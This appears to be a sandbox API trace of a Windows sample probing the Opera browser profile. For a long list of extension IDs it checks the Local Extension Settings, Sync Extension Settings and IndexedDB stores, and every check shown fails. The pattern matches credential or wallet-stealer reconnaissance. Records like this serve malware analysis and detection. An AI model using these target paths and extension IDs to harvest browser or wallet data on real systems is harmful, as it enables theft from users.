[0052.712] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_lpilbniiabackdjcionkobglmddfbcjo_0.indexeddb.leveldb") returned 146
[0052.712] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_lpilbniiabackdjcionkobglmddfbcjo_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.712] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\lpilbniiabackdjcionkobglmddfbcjo\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\lpilbniiabackdjcionkobglmddfbcjo\\current")) returned 0xffffffff
[0052.712] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.712] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.712] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic") returned 124
[0052.712] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\CURRENT") returned 132
[0052.712] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic") returned 123
[0052.712] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\CURRENT") returned 131
[0052.712] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_bhhhlbepdkbapadjdnnojkbgioiodbic_0.indexeddb.leveldb") returned 146
[0052.712] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_bhhhlbepdkbapadjdnnojkbgioiodbic_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.712] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\bhhhlbepdkbapadjdnnojkbgioiodbic\\current")) returned 0xffffffff
[0052.712] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.712] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.713] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm") returned 124
[0052.713] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\CURRENT") returned 132
[0052.713] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm") returned 123
[0052.713] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\CURRENT") returned 131
[0052.713] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_dkdedlpgdmmkkfjabffeganieamfklkm_0.indexeddb.leveldb") returned 146
[0052.713] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_dkdedlpgdmmkkfjabffeganieamfklkm_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.713] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\dkdedlpgdmmkkfjabffeganieamfklkm\\current")) returned 0xffffffff
[0052.713] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.713] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.713] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hcflpincpppdclinealmandijcmnkbgn") returned 124
[0052.713] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hcflpincpppdclinealmandijcmnkbgn\\CURRENT") returned 132
[0052.713] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hcflpincpppdclinealmandijcmnkbgn") returned 123
[0052.713] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\hcflpincpppdclinealmandijcmnkbgn\\CURRENT") returned 131
[0052.713] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hcflpincpppdclinealmandijcmnkbgn_0.indexeddb.leveldb") returned 146
[0052.713] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_hcflpincpppdclinealmandijcmnkbgn_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.713] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\hcflpincpppdclinealmandijcmnkbgn\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\hcflpincpppdclinealmandijcmnkbgn\\current")) returned 0xffffffff
[0052.713] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.713] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.713] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh") returned 124
[0052.713] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\CURRENT") returned 132
[0052.713] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh") returned 123
[0052.713] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\CURRENT") returned 131
[0052.713] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_mnfifefkajgofkcjkemidiaecocnkjeh_0.indexeddb.leveldb") returned 146
[0052.713] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_mnfifefkajgofkcjkemidiaecocnkjeh_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.713] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\mnfifefkajgofkcjkemidiaecocnkjeh\\current")) returned 0xffffffff
[0052.713] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.713] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.713] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc") returned 124
[0052.713] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\CURRENT") returned 132
[0052.713] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc") returned 123
[0052.714] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\CURRENT") returned 131
[0052.714] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ookjlbkiijinhpmnjffcofjonbfbgaoc_0.indexeddb.leveldb") returned 146
[0052.714] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ookjlbkiijinhpmnjffcofjonbfbgaoc_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.714] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\ookjlbkiijinhpmnjffcofjonbfbgaoc\\current")) returned 0xffffffff
[0052.714] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.714] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.714] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm") returned 124
[0052.714] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm\\CURRENT") returned 132
[0052.714] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm") returned 123
[0052.714] wsprintfA (in: param_1=0x18158c, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm\\CURRENT") returned 131
[0052.714] wsprintfA (in: param_1=0x181794, param_2="%s\\%s\\%s\\chrome-extension_%s_0.indexeddb.leveldb" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_jnkelfanjkeadonecabehalmbgpfodjm_0.indexeddb.leveldb") returned 146
[0052.714] wsprintfA (in: param_1=0x181488, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_jnkelfanjkeadonecabehalmbgpfodjm_0.indexeddb.leveldb\\CURRENT") returned 154
[0052.714] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jnkelfanjkeadonecabehalmbgpfodjm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\jnkelfanjkeadonecabehalmbgpfodjm\\current")) returned 0xffffffff
[0052.714] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.714] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.714] wsprintfA (in: param_1=0x181898, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk") returned 124
[0052.714] wsprintfA (in: param_1=0x181690, param_2="%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk\\CURRENT") returned 132
[0052.714] wsprintfA (in: param_1=0x18199c, param_2="%s\\%s\\%s\\%s" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk") returned 123
[0052.714] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kjmoohlgokccodicjjfebfomlbljgfhk\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\kjmoohlgokccodicjjfebfomlbljgfhk\\current")) returned 0xffffffff
[0052.714] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.714] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.714] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\bhghoamapcdpbohphigoooaddinpkbai\\current")) returned 0xffffffff
[0052.714] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\bhghoamapcdpbohphigoooaddinpkbai\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\bhghoamapcdpbohphigoooaddinpkbai\\current")) returned 0xffffffff
[0052.715] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.715] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\current")) returned 0xffffffff
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\gaedmjdfmmahhbjefcbgaolhhanlaolb\\current")) returned 0xffffffff
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_gaedmjdfmmahhbjefcbgaolhhanlaolb_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_gaedmjdfmmahhbjefcbgaolhhanlaolb_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.715] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.715] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\oeljdldpnmdbchonielidgobddffflal\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\oeljdldpnmdbchonielidgobddffflal\\current")) returned 0xffffffff
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\oeljdldpnmdbchonielidgobddffflal\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\oeljdldpnmdbchonielidgobddffflal\\current")) returned 0xffffffff
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_oeljdldpnmdbchonielidgobddffflal_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_oeljdldpnmdbchonielidgobddffflal_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.715] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.715] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\ilgcnhelpchnceeipipijaljkblbcobl\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\ilgcnhelpchnceeipipijaljkblbcobl\\current")) returned 0xffffffff
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\ilgcnhelpchnceeipipijaljkblbcobl\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\ilgcnhelpchnceeipipijaljkblbcobl\\current")) returned 0xffffffff
[0052.715] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_ilgcnhelpchnceeipipijaljkblbcobl_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_ilgcnhelpchnceeipipijaljkblbcobl_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.715] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.716] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\pnndplcbkakcplkjnolgbkdgjikjednm\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\pnndplcbkakcplkjnolgbkdgjikjednm\\current")) returned 0xffffffff
[0052.716] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.716] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\egjidjbpglichdcondbcbdnbeeppgdph\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\egjidjbpglichdcondbcbdnbeeppgdph\\current")) returned 0xffffffff
[0052.716] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.716] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\aholpfdialjgjfhomihkjbmgjidlcdno\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\aholpfdialjgjfhomihkjbmgjidlcdno\\current")) returned 0xffffffff
[0052.716] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.716] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\jnlgamecbpmbajjfhmmmlhejkemejdma\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\jnlgamecbpmbajjfhmmmlhejkemejdma\\current")) returned 0xffffffff
[0052.716] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.716] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\kkpllkodjeloidieedojogacfhpaihoh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\kkpllkodjeloidieedojogacfhpaihoh\\current")) returned 0xffffffff
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Sync Extension Settings\\kkpllkodjeloidieedojogacfhpaihoh\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\sync extension settings\\kkpllkodjeloidieedojogacfhpaihoh\\current")) returned 0xffffffff
[0052.716] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\IndexedDB\\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\indexeddb\\chrome-extension_kkpllkodjeloidieedojogacfhpaihoh_0.indexeddb.leveldb\\current")) returned 0xffffffff
[0052.716] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.716] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.717] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\mcohilncbfahbmgdjkbpemcciiolgcge\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\mcohilncbfahbmgdjkbpemcciiolgcge\\current")) returned 0xffffffff
[0052.717] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.717] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
[0052.717] GetFileAttributesA (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\Opera Stable\\Local Extension Settings\\epapihdplajcdnnkdeiahlgigofloibg\\CURRENT" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\roaming\\opera software\\opera stable\\local extension settings\\epapihdplajcdnnkdeiahlgigofloibg\\current")) returned 0xffffffff
[0052.717] wsprintfA (in: param_1=0x181384, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\Opera Software\\\\*.*") returned 57
[0052.717] lstrcatA (in: lpString1="", lpString2="Opera Stable" | out: lpString1="Opera Stable") returned="Opera Stable"
